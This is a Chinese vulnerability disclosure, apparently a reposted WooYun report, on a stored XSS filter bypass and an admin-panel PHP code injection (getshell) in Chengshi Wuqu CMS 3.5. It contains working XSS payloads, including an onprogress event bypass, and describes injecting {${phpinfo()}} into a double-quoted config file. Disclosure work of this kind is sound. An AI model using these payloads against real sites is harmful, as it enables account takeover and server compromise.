发表文章处。

先提交一段测试代码。
 

<img src=x/onerror=x>onerror onxxxx<img src=x onxxxx=><x xx onxxxx=x>

发现 结果只剩下了 onxxxx。

那么 其机制大概是这样的。

先过滤掉 onerror之类的危险字符串。再将 <>标签内的onxxx给过滤掉

上次我是这样绕过的 WooYun: 程氏舞曲储存型xss (4) #2处xss

如果我换成 ' 包裹住 > 会怎样呢?

提交 <img src=x ='>' onxxxx=>。 这下没过滤了。剩下的就是找个没有在白名单里的 事件了。

像这样 alert
 

<video src="xxx.xxx.xxx/a"a='>' onprogress=alert(1)>

 

程氏舞曲CMS储存型 xss(6) 附后台getshell – 网站安插图

(该事件测试于 谷歌浏览器)

后台getshell就很简单了,

看到/csdj/lib/Cs_Config.php的代码
 

<?php
define("Web_Name","程氏CMS3.5"); //站点名称  
define("Web_Url","localhost"); //站点域名  
define("Web_Path","/"); //站点路径  
define("Admin_Code","aaaaaa");  //后台验证码  
define("Admin_Url","");  //后台访问域名,留空为取消   
define("Web_Off",0);  //网站开关  
define("Web_Onneir","网站升级中...");  //网站关闭内容  
define("Web_Mode",1);  //网站运行模式  
define("Html_Wjt",".htaccess");  //伪静态模式  
define("Html_Index","index.html");  //主
.............

双引号,所以可以通过

{${phpinfo()}}这种格式直接执行php代码.
 

程氏舞曲CMS储存型 xss(6) 附后台getshell – 网站安插图1

 

程氏舞曲CMS储存型 xss(6) 附后台getshell – 网站安插图2

触发xss后可以利用js提交数据getshell 此前已有实例 就不写js代码了

修复方案:

加强过滤 :)

    上一篇: TinyShop 多处sql注入#2 - 网站安全 - 自学php

    下一篇: 赶集网远程代码执行漏洞(啥都有) - 网站安全 -
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《程氏舞曲CMS储存型 xss(6) 附后台getshell – 网站安
   

还没有人抢沙发呢~